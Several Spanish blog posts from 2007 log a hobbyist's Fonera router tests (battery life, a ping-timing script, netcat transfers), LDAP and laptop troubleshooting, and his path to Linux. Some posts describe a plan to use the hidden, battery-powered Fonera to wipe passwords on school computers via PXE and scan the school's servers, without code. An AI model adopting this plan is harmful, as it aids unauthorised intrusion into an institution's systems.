de acostarme, sobre las 12 de la noche, probé de nuevo y tampoco funcionaba, daba el mismo problema.<br /><br />Hoy, cuando me he levantado, también pasaba lo mismo, así que primero me fui un rato al sobremesa y mas tarde volví de nuevo a por el portátil, no funcionaba! yo ya estaba dispuesto a abrirlo para ver si tenía polvo o si se habia quemado o algo por el estilo. Pero entonces se me ocurrió otra cosa, yo cuando enciendo el portátil no puedo entrar a la bios desde que pita, así que cambie de estrategia, encenderlo con F2 pulsado para entrar a la bios si se puede antes del pitido. Funcionó, conseguí entrar a la bios, y no había nada raro, sin embargo cambié una cosa, para ver si así funcionaría, la unidad de cd/dvd es la primera desde la que se arranca, luego desde el disco duro, etc. Puse primero el disco duro, reinicié y arrancó!! entonces reincié de nuevo puse las cosas como antes y siguió funcionando. Asunto acabado, ya funcionaba de nuevo el portátil.<br /><br />Antes de acabar quiero comentar otra cosa, en los sobremesas me da igual porque si hay que arreglar algo lo haré yo mismo, sin embargo el portátil tendría que mandarlo al servicio técnico, por ello creo que voy a hacer una cosa que llevo procrastinando desde hace meses, crear al menos una partición cifrada en el portátil para guardar ahí mis cosas, porque la verdad no me hace ninguna gracia que mi portátil se estropeé un día, tenga que mandarlo al servicio técnico y que el técnico de turno pueda entretenerse viendo que tengo en el ordenador.<br /><br />Otra cosa mas, el proyecto de la fonera en modo cliente sigue en pie, lo único que pasa es que quiero compilar algunos paquetes para la fonera, pero no puedo, el compilador gcc no compila da un error de ld, en otras palabras que con el lfs me he cargado la compilación normal en el server, tendré que revisar el manual de lfs y ver que he hecho para estropearme el sistema.<br /><br />Y ya por último, acabo de ponerme en contacto con Alternate, para que me digan que pasa con mi pendrive, el que pedí el 19 de agosto. porque cuando lo pedí ponía 8-10 dias, ahora mismo pone 48h, y a mi no me ha llegado a 3 de septiembre. Les mandé un mail y a los pocos minutos me responden diciéndome que en 24 o 49 horas habré recibido el pedido, esperemos que sea verdad.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com2tag:blogger.com,1999:blog-2917730816352861372.post-57355376347171028702007-08-29T20:31:00.000+02:002007-08-29T21:36:01.366+02:00Otra prueba de autonomía<div style="text-align: justify;">Como ya conté en el último post tenía pensado hacer otra prueba con la fonera, ver la autonomía que tiene la fonera con el wifi a máximo rendimiento. Ya he hecho la prueba y la verdad es que el resultado no me ha decepcionado, está bastante bien. Al final os digo el tiempo...<br /><br />Para hacer la prueba lo que se me ocurrió fue hacer que se conectara a mi red wifi, cosa que hizo perfectamente y luego desde el servidor enviarle una cantidad ingente de datos, suficiente como para que pudiera estar recibiendo datos por un período de 3 o 4 horas a 1 MB/s. Mientras, ejecutar un par de scripts iguales que el de la prueba anterior, uno sería exactamente igual, para hacer pings a la fonera vía ethernet, y el otro le cambiaría la ip para que ejecutara los pings vía wifi. Porque dos pings diferentes? pues la idea era comprobar con pings si la fonera estaba viva, pero entonces pensé que quizás el wifi podría tener un fallo puntual mientras la fonera seguir viva, y entonces mi script simplemente apuntaría la hora del fallo y se detendría, sin embargo si también ejecuto los pings via ethernet, si el wifi fallara en estos pings quedaría registrado como fallo y no como "muerte" de la fonera. No se si se lo he explicado bien, lo dig de otra manera, la fonera, para mi prueba va a estar conectada por wifi y por ethernet, por ello tendrá dos interfaces de red activas con dos ips diferentes, por ello si ejecuto pings a ambas ips y una no responde y la otra si, podemos deducir que se trata de un fallo puntual de esa interfaz, y no que se haya apagado la fonera.<br /><br /><hints id="hah_hints"></hints>Los scripts que controlan el tiempo ya los tenemos listos, solo los queda preparar el flujo de datos que hará que el wifi de la fonera no pare hasta que no se apague la fonera. Para esto tenía dos opciones, una crear un archivo muy grande para pasarselo a la fonera (o en su defecto idear un bucle con uno pequeño que se enviara constantemente) la otra opción era utilizar algún fichero grande que tuviera a mano. Yo dispongo en mi servidor de las imágenes de los tres DVDs de debian etch, que son de 4.4 GB, 4.4 GB y 4.3 GB. En total 13.1 GB, que teniendo en cuenta que la velocidad del wifi de la fonera no ha pasado de 1.1 MB/s en pruebas previas, dan para 3.39 horas. Sabiendo que sin wifi aguantó un poco mas de cuatro horas y que con el wifi aguantará menos creo que con esos datos tendré suficiente. Ahora ya la cuestión técnica, como le paso los datos a la fonera? pues of course, con netcat, lo instalo en un momento en la fonera mediante ipkg (no, por defecto no lo trae). Entonces le pongo las pilas a la fonera, pongo los dos scripts a funcionar y envío los datos, ejecutando el primer comando en la fonera y el segundo en el servidor:<br /></div><br /><span style="font-style: italic;">nc -l -p 9999 > /dev/null<br /></span><span style="font-style: italic;">cat debian-40r0-i386-DVD-* | nc 192.168.0.11 9999</span><br /><br />Hecho eso solo toca esperar a que la fonera se apague:<br /><br /><span style="font-style: italic;">mié ago 29 17:33:04 CEST 2007<br /></span><span style="font-style: italic;">mié ago 29 20:09:09 CEST 2007</span><br /><br /><div style="text-align: justify;">Lo que significa 2 horas 36 minutos, que para mi es bastante. Por ultimo señalar una curiosidad, realmente no esperaba que la fonera se apagara justo cuando cayera la red, de hecho cuando los pings no fueron respondidos, el led de red empezó a parpadear, luego se apagó, después el led de power empezó a brillar cada vez menos, hasta que 25 minutos mas tarde se apagó!! 25 minutos!!!<br /><br />Nada mas, ahora solo me queda pensar el script que ejecutara la fonera para analizar la red del centro tic.<br /><br />PD: La prueba como dije la hice con la fontenna conectada.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com1tag:blogger.com,1999:blog-2917730816352861372.post-64587990458996470632007-08-28T13:53:00.000+02:002007-08-29T14:16:23.337+02:00Autonomía de la fonera con pilas<div style="text-align: justify;">Ayer hice la primera prueba para ver cuanto aguantaba la fonera con pilas, para ello desde luego no pensaba quedarme mirando los leds con un cronómetro en la mano esperando a que se apagaran las luces, hice un script para el servidor. La idea era sencilla, conectar la fonera con las pilas, entonces el servidor apunta la hora a la que comienza la prueba y le hace un ping a la fonera, cuando deje de responder la damos por muerta y apuntamos la hora de nuevo, con una cosa así de sencilla conseguimos que el servidor sea quien este pendiente de la fonera y no yo. El script es este:<br /></div><br /><span style="font-style: italic;">#!/bin/bash<br /></span><span style="font-style: italic;">date > tiempo.txt<br /></span><span style="font-style: italic;">PING=""<br /></span><span style="font-style: italic;">while [ 1 == 1 ] ;<br /></span><span style="font-style: italic;">do<br /></span><span style="font-style: italic;">if [ -e $PING ]; then<br /></span><span style="font-style: italic;">PING=$(ping -c 2 fonera | grep "100% packet loss");<br /></span><span style="font-style: italic;">else<br /></span><span style="font-style: italic;"></span><span style="font-style: italic;">date >> tiempo.txt;<br /></span><span style="font-style: italic;">exit<br /></span><span style="font-style: italic;">fi;<br /></span><span style="font-style: italic;">done<br /><br /></span><div style="text-align: justify;">Es muy simple, primero apunta la hora y la fecha en el archivo <span style="font-style: italic;">tiempo.txt</span>, después creamos la variable <span style="font-style: italic;">PING</span> sin ningún valor. Lo siguiente es un bucle que en principio no tiene fin, porque se hace siempre que 1 se igual a 1. Dentro de este bucle hay un if, que comprueba la variable PING, si esta vacía envía dos pings a la fonera y comprueba si ha recibido como resultado que el 100% de los paquetes se han perdido, el resultado a la variable <span style="font-style: italic;">PING</span>. En caso contrario añade la nueva fecha al fichero tiempo.txt y se acabó el script. Todo se repite de nuevo, hasta que por fin la fonera no responda y se <hints id="hah_hints"></hints> apunte la nueva hora.<br /></div><br /><div style="text-align: justify;">El script funcionó a la perfección y el resultado, el fichero <span style="font-style: italic;">tiempo.txt</span> es este:<br /></div><span style="font-style: italic;"><br />lun ago 27 15:31:35 CEST 2007</span><span style="font-style: italic;"><br />lun ago 27 19:23:29 CEST 2007</span><br /><br /><div style="text-align: justify;">Casi cuatro horas!!! y ojo, que a ese tiempo hay que sumarle como unos 15 0 20 minutos, de las pruebas que hice hace unos días para comprobar que todo funcionaba bien en la fonera cuando se usaban las pilas. En total mas de 4 horas.<br /><br />Hay que decir un par de cosillas mas, la fonera en ese tiempo no tenía ninguna actividad, excepto recibir/enviar pings constantemente. La actividad wifi era nula. Y como yo a la fonera le voy a dar dos usos, uno de pocos segundos, que ira con cable ethernet (el de las contraseñas) y el otro, el de ponerla en modo cliente y demás, que todo será por wifi, voy a hacer otra prueba. Será con unas pilas recién sacadas de su caja e iguales a las de la primera prueba, solo que en esta ocasión funcionará con el wifi a pleno rendimiento, para ver si hay mucha diferencia y para estimar cuanto tiempo podría aguantar en el centro tic. Y por último, no sé si la antena influirá en el consumo, pero la prueba la voy a hacer con la fontenna, porque es la antena que llevara la fonera en el instituto.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com30tag:blogger.com,1999:blog-2917730816352861372.post-8638850550051771062007-08-26T20:54:00.000+02:002008-12-12T08:58:31.446+01:00La fonera con pilas<div style="text-align: justify;">Hoy he estado avanzando con la fonera, a parte de unas configuraciones para ponerla en modo cliente y unas modificaciones en mi red para que se parezca un poquito mas a la del centro tic, lo que he hecho ha sido soldar el portapilas al conector que usaré, algunas pruebas para comprobar que todo funciona, y me he dado cuenta de lo que tarda la fonera en arrancar. Ahora os contaré todo con detalle.<br /><br />La fonera la he configurado en modo cliente para que se conecte a mi router, que ahora mismo tiene cifrado wep (si ya se que no vale para nada, pero nunca he tenido ganas de cambiarlo :P ). Ha sido muy sencillo, un rápido vistazo al wiki de openwrt, <a href="http://wiki.openwrt.org/ClientModeKamikazeStyleHowto">aquí</a> podéis ver como se hace, esta perfectamente claro, te pone como tienes que configurar los ficheros <span style="font-style: italic;">/etc/config/network</span> y <span style="font-style: italic;">/etc/config/wireless,</span> obviamente hay que ponerlos según tu configuración, en el network pones tu ip y demás y en el wireless deberías poner tu clave wep y el essid de tu red.<br /><br />Eso en cuanto a software de la fonera. Ahora voy a hablaros sobre los cambios en mi red, como sabéis tengo 2 routers iguales, uno que le compré a orange y otro que me regaló orange. He instalado el segundo router, conectado a un puerto ethernet del primero, con intencion de crear una subred. Éste segundo router lo configuraré con wpa y será al que se conecte la fonera para luego scanear la red. Ahora mismo la conexión con el segundo router funciona mas o menos bien, desde él tengo acceso a toda mi red y a internet, pero me falla el dns, tengo que meter ips a mano, a ver si lo soluciono hoy.<br /><br />Y por último el tema estrella del día, ayer soldé el portapilas al conector y funciona!!! puse la fonera a funcionar con pilas y quitó las contraseñas del portátil. Primero unas fotos y después os cuento las cosas de las que me he dado cuenta, las fotos no se ven muy bien, son con el móvil, pero mas o menos...<br /><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIZWBQcVPClepkZA5G-n3-M4ZJ6kRnniLR-2sObUkM_KP8XiyyU9aEnSgx2VGajOm_GhoI3q4FQIEdhdnMsHNZNYF9jx8jVTbwH7HYyJrYNtN_6rsRPqNXTWQgQYELYgLCAKCbaodbqM/s1600-h/DSC00212.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgyIZWBQcVPClepkZA5G-n3-M4ZJ6kRnniLR-2sObUkM_KP8XiyyU9aEnSgx2VGajOm_GhoI3q4FQIEdhdnMsHNZNYF9jx8jVTbwH7HYyJrYNtN_6rsRPqNXTWQgQYELYgLCAKCbaodbqM/s320/DSC00212.JPG" alt="" id="BLOGGER_PHOTO_ID_5103297877575862978" border="0" /></a><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_lBPt562BISJIi4EZ-hOUwXjSfQx7sFadaM9iLZ8Z6A4GZ-apMMWC4GzXei62iQx1C3TSNaldA3ct4V254HzNRfTD46Tsfs9tVkpk87Hdw-1669277nxmzLFyum7BGxiT6xYV0YxJOuk/s1600-h/DSC00211.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_lBPt562BISJIi4EZ-hOUwXjSfQx7sFadaM9iLZ8Z6A4GZ-apMMWC4GzXei62iQx1C3TSNaldA3ct4V254HzNRfTD46Tsfs9tVkpk87Hdw-1669277nxmzLFyum7BGxiT6xYV0YxJOuk/s320/DSC00211.JPG" alt="" id="BLOGGER_PHOTO_ID_5103297868985928370" border="0" /></a><br />Ayer cuando estuve probándola con las pilas me di cuenta de que al principio no funcionaba, luego volví a intentarlo y funcionó, fue ahí cuanto pensé que la fonera necesitaba un tiempo para estar lista para funcionar desde que se le conecta la corriente, dicho tiempo tenía que conocerlo, por lo que me puse a hacer unas medidas. Medí tanto usando el cable como usando las pilas, porque no tenía la certeza de que las pilas proporcionasen la energía idónea. Las mediciones que hice fueron el tiempo que tardaba en responder a un ping, el tiempo que tarda en tener el ssh listo para que alguien se conecte (suponiendo que los demás servicios tardarían mas o menos lo mismo), el tiempo que tarda en responder a un ping con el wifi desactivado, el tiempo necesario para que el pxe este listo para funcionar y el tiempo de la operación del borrado de contraseñas, desde el arranque hasta que se reinicia. Los tiempos fueron los mismos para el cable y para las pilas si no tenemos en cuenta los fallos humanos a la hora de cronometrar, por ello solo pongo un tiempo:<br /><br />-Boot (ping): 1'37''<br />-Boot (ssh): 1'48''<br />-Boot (sin wifi): 1'35''<br />-Boot (pxe): 2'03''<br />-Borrar pass: 36''<br /><br />Según esos datos tengo que encender la fonera 2 minutos antes de querer usarla para lo de las contraseñas. Y luego tardará medio minuto en hacer su trabajo. hay que decir que a lo mejor con una fonera recién flasheada a lo mejor tarda unos segundos menos, porque es cierto que yo instalé un par de paquetes en la fonera, pero para la prueba elimine todos los que recordé, en cualquier caso no creo que ganara mucho, pocos segundos quizás.<br /><br />Por último añadir que he pensado que es mejor tener la fonera primero lista para lo del modo cliente, porque los primeros días de clase tengo serias dudas de que vayamos a coger alguna máquina, por ello si la fonera se conecta y me va scaneando los servidores pues algo que hemos ganado no?<br /><br />Ah! y otra cosa, también pienso hacer unas pruebas de autonomía con pilas, para ver cuanto aguanta la fonera.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com5tag:blogger.com,1999:blog-2917730816352861372.post-3094157277958179992007-08-26T09:40:00.000+02:002007-08-26T09:52:21.627+02:00Como llegué a Linux<div style="text-align: justify;">El post que voy a poneros hoy no es nada nuevo si seguís mis andanzas <span style="font-style: italic;">blogueriles</span> desde hace tiempo. Yo antes de este, tuve otro <a href="http://diario-linux.blogspot.com/">blog</a>, un blog que duró bien poco, sin embargo hay un <a href="http://http://diario-linux.blogspot.com/2006/08/como-he-llegado-linux.html">post</a> de aquel blog que quiero rescatar y que forme parte también de este blog. Dicho post cuenta la historia de como conocí linux y como me acerqué a él. El artículo solo llega al 25 de agosto del año pasado, que fue cuando lo publiqué. A partir de entonces no hay muchas cosas nuevas que contar, simplemente he ido actualizando mi distro a las nuevas versiones, probando alguna otra, leyendo mas manuales de toda índole, etc. Ah y otra cosa también os digo la fecha de cuando se publicó originalmente para que lo tengáis en cuenta respecto al tiempo y las fechas que pone en el articulo. Ya sin mas preámbulos os dejo aquí el post:<br /><br /><div style="text-align: justify; font-style: italic;">Bueno este post es un clásico en todos los blogs que hablan sobre linux, asi que yo voy a contar mi historia, empezemos por el principio y con como conocí linux.<br /><br />El primer ordenador que entró en mi casa fue en la navidad del año 1999, es decir que llevo 6 años y medio usando el ordenador (por cierto tengo 15 años). Bien, al principio simplemente usaba el ordenador de forma normal, algun juego, y dos o tres cosas mas, sin embargo pronto se me quedó corto y quise aprender mas, asi que compre una revista en la libreria, PC Today, fue la primera revista de informática que compré. La lei y me interesaba bastante la informática, así que en esa revista venía un anuncio de otra revista, llamada Computer Hoy, cuya portada decía "Monta tu porpio ordenador", me interesó mucho así que fui a comprar esa revista, la leí y me gusto, asi que seguí comprando quincenalmente PC Today y Computer Hoy. aprendí bastantes cosas sobre windows y de informática en general leyendo esas dos revistas.<br /><br />Pero todavia no sabía nada de linux, segui con windows y tal. Pero un día venía en la revista un artículo que hablaba sobre un sistema operativo llamado GNU/Linux. yo no tenía ni idea de que era eso, pero sonaba interesante, me lei el articulo y me enteré de que era otro sistema operativo, me enteré de sus ventajas e inconvenientes gracias a ese artículo. Pero lo que más me llamó la atención fue que existían los llamados "live cd" que permitían ejecutar el sistema desde un cd, usando solo la memoria RAM, sin tocar el disco duro. y ponía un enlace a una web que hablaba sobre live cds, pero no funcionaba. Sin embargo yo estaba muy interesado en saber de ese sistema y quería usar un live cd para probarlo, así que use google y localize una pagina que tenia un indice con todas las distros y con enlaces para descargarlas, yo busque los live cds, pero había bastantes, asi que no sabía cual bajarme, el primero de la lista era uno llamado Knoppix, busque en google y lei que era muy bueno, que reconocía mucho hardware y que arrancaba muy rápido. fui de nuevo a la página de antes y me lo descargue, tuve que dejar el ordenador toda la tarde descargando, acabo a las 10 de la noche, no lo probe, lo deje para el día siguiente. Al día siguiente lo probe y lo vi bien, me gusto todo excepto una cosa, no podía/sabía configurar mi modem, por lo que no podía conectarme a internet, asi que de vez en cuando ejecutaba el live cd y lo usaba (por cierto no le he dicho todavia, era un knoppix 3.7). Busque como configurar el modem, pero no lo conseguí.<br /><br />A pesar de todo busque algunos manuales más pero no me sirvió ninguno, no conseguí configurar el modem. Luego me compre algunos números de la revista SoloLinux, que encontre de casualidad en una libreria. Los lei me intereso bastante, y yo ya luego buscaba informacion sobre linux, y participaba en un foro sobre seguridad informatica, el cual tenía un subforo de linux, así que lei por alli diversos temas y fui aprendiendo algunas cosas.<br /><br />Mas tarde compre un curso audiovisual de linux, bastante básico, pero yo esas cosas no las sabia, me fue útil. Tambien vi unos videotutoriales que encontre en internet, sobre knoppix y sobre linux en general, en estan direcciónes:<br /><br /><a href="http://www.nomaster-reloaded.com/tele/knoppix.htm">http://www.nomaster-reloaded.com/tele/knoppix.htm</a><br /><a href="http://www.nomaster-reloaded.com/tele/linux.htm">http://www.nomaster-reloaded.com/tele/linux.htm</a><br /><br />Tras esto descubri la virtualización gracias a Vmware, el el instale creé una maquina virtaul e instalé Fedora Core 4, aprendi a moverme un poco por linux, y me movía mas o menos bien en la consola. Está vez si tenía internet, ya que usaba un "puente" entre vmware y mi ordenador real con windows, de esta manera mediante NAT podía conectarme a internet de Fedora Core 4. Tras esto lei algunos manuales de linux, y ya me cansé pronto de fedora, ya que en la maquina virtual no iba muy fluido, y ademas no me hacía mucha gracia tener que ejecutarlo en una maquina virtual.<br /><br />Luego fui descargando live cds de todos los colores, con xgl, especializados en seguridad, en recuperacion de datos, etc. Y tambien algun cd de instalación, confiando en que algun día me instalaría alguna distro.<br /><br />Mas tarde aparecio la noticia de que ubuntu te mandaba cds a casa, asi que pedí algunos, y me llegaron los cds de la version 5.04. Así que me llegó probe el live cd y me gusto, pero no llegué a instalarlo. Mas tarde pedí la version 5.10 de ubuntu, me llegaron los cd y al poco redimensione la particion de windows dejando 10 GB para ubuntu, y procedí a instalarlo, ya que había leido un manual sobre como configurar mi modem y ahora estaba seguro de que lo iba a conseguir. Bueno pues instale ubuntu, y intente configurar el modem de todas las maneras, busque manuales de todas clases, pero no lo conseguí. sin embargo un buen dia, entre al chat de #red-handed en servidor freenode.net ( que conocí gracias a Converso, de Vidas en Red) y allí estaba keinek (del podcast red-handed), y me paso un manual para configurar el modem, lo leí, y fui consciente de que tenía que recompilar el kernel para activar unos modulos. Busque un manual para hacerlo, pero no lo conseguí (no llegue a recompilar el kernel). Por cierto a estas alturas de la historia ya estamos en el mes de junio de este año.<br /><br />Pense que comprar un router era la mejor opción, así que fui a PC City, y compre un modem/router ethernet y una tarjeta de red (en total 70 euros), así que lo conecte y cuando lo fui a configurar vi que necesitaba algunos datos que debía darme mi ISP, así que llamé a Wanadoo (mi ISP) y les comenté queme había comprado un router, pero que para configurarlo necesitaba que me dieran unos datos, entonces la que me atendía me dijo que yo podía utilizar el router que quiesiera, pero que si quería ellos tenían un router suyo, que era mas facil de configurar (segun ellos) y que ademas era wifi y por solo 50 euros, así que le dije que me lo mandaran, al día siguiente fui a devolver el otro router, y pasados 4 días me llegó el de wanadoo, lo conecte, pero a la hora de configurarlo la suspuesta facilidad desapareció, llame a wanadoo y tuve que estar 45 minutos para configurar el router, primero que oiba a mirar mis datos, luego no funcionaba, luego probamos toda clase de configuraciones, luego no venía mi protocolo en el menu de instalación que habian preparado para "facilitar la configuración", luego se dio cuenta que tenía ip estatica, por lo que mi protocolo de conexion era otro, luego llamó (ella) cuatro vecesal servicio técnico para ver que protocolo ponía yo, al final lo averiguo y lo configure, pero no funcionaba, me dijo que probara a instalarlo primero por ethernet (todo esto es en windows) y luego a configurar el wifi. Así lo hice y funcionó. En linux sin embargo lo deje conectado por ethernet.<br /><br />Bien pues ya tenía internet en linux, así que busque programas equivalentes a los que usaba habitualmente en windows (en realidad solo me faltaba por migrar era el lector de feeds y el de podcast), asi que configuré los repositorios e hice un "apt-cache search feed", encontre un programa llamado liferea, así que lo instalé, puse mi lista de feeds. Y mi lista de podcast en el ipodder, que ya conocía de windows. Bien pues ya terminé la migración en un solo día, al día siguiente ya me olvide de windows y pase a usar exclusivamente linux. Luego instalé diferentes progrmas que consediré muy bueno y utiles, como por ejemplo abiword. Así desde el mes de junio de este año solo uso linux.<br /><br />Al poco tiempo salió la versión 6.06 de ubuntu, que me descargue, grabe e instale, mejor dicho intente instalar, porque el disco de instalacion no funcionaba. Así que pedí los cds. Me llegaron y lo instalé. Luego ya he estado todo el tiempo usando ubuntu 6.06.<br /><br />Sin embargo hace pocos días salió la versión 6.06.1 me la descargué, e hice un chequeo del md5, cosa que siempre hago desde que no pude instalar 6.06 con el cd que yo descargue y grabe, haciendo esto no he vuelto tener ningun problema para usar mis cds. La guardé para usarla cuando fuera necesario.<br /><br />Entonces sufrí el famoso error de una actualización de ubuntu que destrozaba las X, asi que al reiniciar no me arrancaban las X, así que intente arreglarlo, de todas las maneras posibles, no lo conseguí. Asi que lejos de esperar al día siguiente, en el cual se dió a conoces el problema, lo que hice fue redimensionar la particion de windows a 30 Gb, redimensioné los 20 Gb de mi ubuntu actual (el que no tenía las X) a 12 GB (lo minimo que podia) y deje 32.68 GB sin particionar. Luego instale ubuntu 6.06.1 usando una particion extendida de 22 Gb, de los cuales 6 GB eran para el directorio raiz, 1 Gb de swap, y 15 GB para home, tras esto instale ubuntu y arranqué, funcionaba perfectamente, instale todo, configure todos los programas, copie algunos archivos de configuracion de mi ubuntu anterior (sin X). Y ya uso desde ese día ubuntu 6.06.1.<br /><br />Luego instalé troppix (para hacking wireless) en una nueva particion de 5 GB.<br /><br />Y bueno pues ya hemos llegado al día de hoy, día en el cual me gusta manejarme mas en la consola que en el entorno gráfico, todo lo que puedo hacer desde consola lo hago desde ella. Y estoy muy contento con linux.<br /><br />Bueno y hasta aqui este gran post, y te felicito si has terminado de leerlo ;-)<hints id="hah_hints"></hints></div></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com5tag:blogger.com,1999:blog-2917730816352861372.post-85434026413582431222007-08-24T15:59:00.000+02:002007-08-25T19:29:28.634+02:00Harto del LDAP<div style="text-align: justify;">Pues si el LDAP ha estado a punto de destrozarme el ubuntu del portátil, bueno en realidad lo ha hecho, pero mas o menos he podido recomponerlo todo.<br /><br />Como sabéis mi plan era montar ldap en mi server (que esta hecho y funciona, o eso creo...) y luego poner la fonera como cliente para que luego se conecte a mi cuenta en el servidor del centro tic y utilice el espacio del que dispongo para almacenar lo que necesite.<br /><br />He configurado el server y el portátil siguiendo las diferentes informaciones que he encontrado esperando que alguna funcionara, pero no lo he conseguido. Lo único que conseguí fue poder loguearme como ldaptest (el usuario que cree en ldap para mis pruebas), mediante su. No puedo poneros mis ficheros de configuración porque para solucionar el problema tuve que desinstalar los paquetes que instalé y se borraron los archivos de configuración. Estos son los tutoriales que intente seguir, no he podido con ninguno...<br /></div><br /><a href="http://es.tldp.org/COMO-INSFLUG/COMOs/LDAP-Linux-Como/LDAP-Linux-Como.html#toc3">http://es.tldp.org/COMO-INSFLUG/COMOs/LDAP-Linux-Como/LDAP-Linux-Como.html#toc3</a><br /><a href="http://www.grulic.org.ar/eventos/charlas/ldap-2005-04.html">http://www.grulic.org.ar/eventos/charlas/ldap-2005-04.html</a><br /><a href="http://bulma.net/body.phtml?nIdNoticia=1991">http://bulma.net/body.phtml?nIdNoticia=1991</a><br /><a href="http://bulma.net/body.phtml?nIdNoticia=1371">http://bulma.net/body.phtml?nIdNoticia=1371</a><br /><a href="http://n1mh.org/papeles/gdm2.html">http://n1mh.org/papeles/gdm2.html</a><br /><a href="http://misitio.homelinux.com/wiki/index.php/Nfs_Pam_Ldap">http://misitio.homelinux.com/wiki/index.php/Nfs_Pam_Ldap</a><br /><a href="http://publib.boulder.ibm.com/infocenter/tssfsv21/index.jsp?topic=/com.ibm.sanfs22.doc/fog0_t_config_openldap_client.html">http://publib.boulder.ibm.com/infocenter/tssfsv21/index.jsp?topic=/com.ibm.sanfs22.doc/fog0_t_config_openldap_client.html</a><br /><a href="http://www.terminator.net/ldapconf/manual/ldapclient.html">http://www.terminator.net/ldapconf/manual/ldapclient.html</a><br /><br /><div style="text-align: justify;">En vista de que ninguno me valió para nada tendré que aprender exactamente para que sirve cada parámetro de los archivos de configuración y los crearé a mi medida.<hints id="hah_hints"></hints><br /><br />Lo que me ocurrió fue que antes de ayer estuve intentando configurarlo y se ve que deje algún fichero mal configurado y entonces, al día siguiente cuando me levanté y encendí el portátil tardaba muchísimo en arrancar, luego tuve problemas para loguearme, aunque al final no se como, pude hacerlo, después el network manager no funcionaba, el escritorio tardaba una eternidad en cargarse por completo, vamos que era totalmente inservible. Después de probar de todo, restaurar ficheros del ldap a partir de backups anteriores al desastre, reiniciar, cambiar configuraciones, buscar en google, <a href="http://www.ubuntu-es.org/">ubuntu-es</a>, <a href="http://ubuntuforums.org/">ubuntuforums</a>, etc. Arranqué desde un live cd de ubuntu y restauré los ficheros de configuración afectados a partir de los que había en el live cd. Reinicié y tampoco funcionó, total que al final me decidí a desinstalar todos los paquetes relativos al ldap que había instalado yo. Desde el live cd, ejecute:<br /></div><br /><span style="font-style: italic;">dpkg -l | grep ldap</span><br /><br /><div style="text-align: justify;">Para ver que paquetes incluye ubuntu por defecto para el ldap, y luego lo ejecute en la ubuntu instalada en el portátil pero desde el live cd, mediante <span style="font-style: italic;">chroot,</span> porque arrancar el portátil era un infierno, tardaba una cosa mala. Desinstalé con <span style="font-style: italic;">apt-get remove --purge</span> (para que borre también lo archivos de configuración) todos los paquetes menos <span style="font-style: italic;">libldap2,</span> que es el único que tenía el live cd. Tras eso reinicié y ubuntu funcionaba mas o menos bien, y digo mas o menos porque network manager seguía sin funcionar y los datos del <span style="font-style: italic;">/etc/hosts</span> era como si no existieran, por ejemplo, según ese archivo <span style="font-style: italic;">debian</span> es <span style="font-style: italic;">192.168.0.6</span> (mi servidor) pero ese nombre no se usaba, si ejecutaba <span style="font-style: italic;">ping</span> <span style="font-style: italic;">debian,</span> me decía <span style="font-style: italic;">unknown</span> <span style="font-style: italic;">host.</span><br /></div><br /><div style="text-align: justify;">El problema del network manager lo solucione simplemente reinstalandolo, y lo del <span style="font-style: italic;">/etc/hosts,</span> fue gracias a la ayuda de Castigador (gracias ;-) ) por lo visto era problema del <span style="font-style: italic;">/etc/nsswitch.conf,</span> que sencillamente yo no lo tenía, el me paso el suyo y asunto solucionado.<br /></div><br /><div style="text-align: justify;">No os puedo hablar mucho mas sobre el ldap porque no tengo nada hecho, seguiré el consejo de Castigador, leeré los manuales y creare mis archivos de configuración, no me limitaré a copiar los ejemplos de los artículos como he hecho hasta ahora.<br /></div><br /><div style="text-align: justify;">Antes de acabar quiero comentaros otra cosa, la fonera ya puede montar un sistema de archivos nfs. Solo hacía falta instalar el paquete <span style="font-style: italic;">kmod-fs-nfs.</span> Después ya se puede montar con tranquilidad:<br /><br /></div> <span style="font-style: italic;">ipkg install kmod-fs-nfs</span><br /><span style="font-style: italic;">mount 192.168.0.6:/media/home /mnt/test -t nfs -o nolock<br /><br /></span><div style="text-align: justify;">Y ya esta montado, ahora la fonera tiene 55 GB :D<br /><br />Ya no tengo nada mas que decir, estos días no he avanzado mucho, he estado leyendo sobre ldap, intentando configurarlo.... y ademas he redescubierto a un asesino de la productividad: <a href="http://armagetronad.net/">armagetron</a> y hoy he perdido bastante tiempo jugando. Seguiré avanzando, ya os contaré...<br /><br />PD: El pendrive con U3 creo que me llegara sobre finales de la semana que viene, porque cuando lo compre no me fije en un detalle, alternate tiene unos iconos que indican el tiempo que tarda en enviarse un pedido, y hoy lo he mirado y el que yo compre pone "de 8 a 10 días", y yo lo pedi el domingo de la semana pasada.<br /></div>Neobiushttp://www.blogger.com/profile/09486129452968326344noreply@blogger.com8tag:blogger.com,1999:blog-2917730816352861372.post-67743500565823882312007-08-22T12:34:00.000+02:002008-12-12T08:58:31.971+01:00El libro y mas fonera<div style="text-align: justify;">El libro me acaba de llegar ahora mismo, luego empezaré a leerlo, pero conociendo la primera parte y habiendo hojeado éste, creo que ha sido una buena compra. Una foto:<br /></div><br /><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhYxUIpwyrjv40R4vnmSuqrCeVzeevpsBOL8lRhN0ecEJJDJNwUnPRDWmGlMfYei_SOVWLm5lCZfYE0veCDYrPbwdk63BXddhUInguaLeSSbVxG6XXzrGxcd4_3li0ckUzYXNfEPTkwb1g/s1600-h/DSC00208.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" 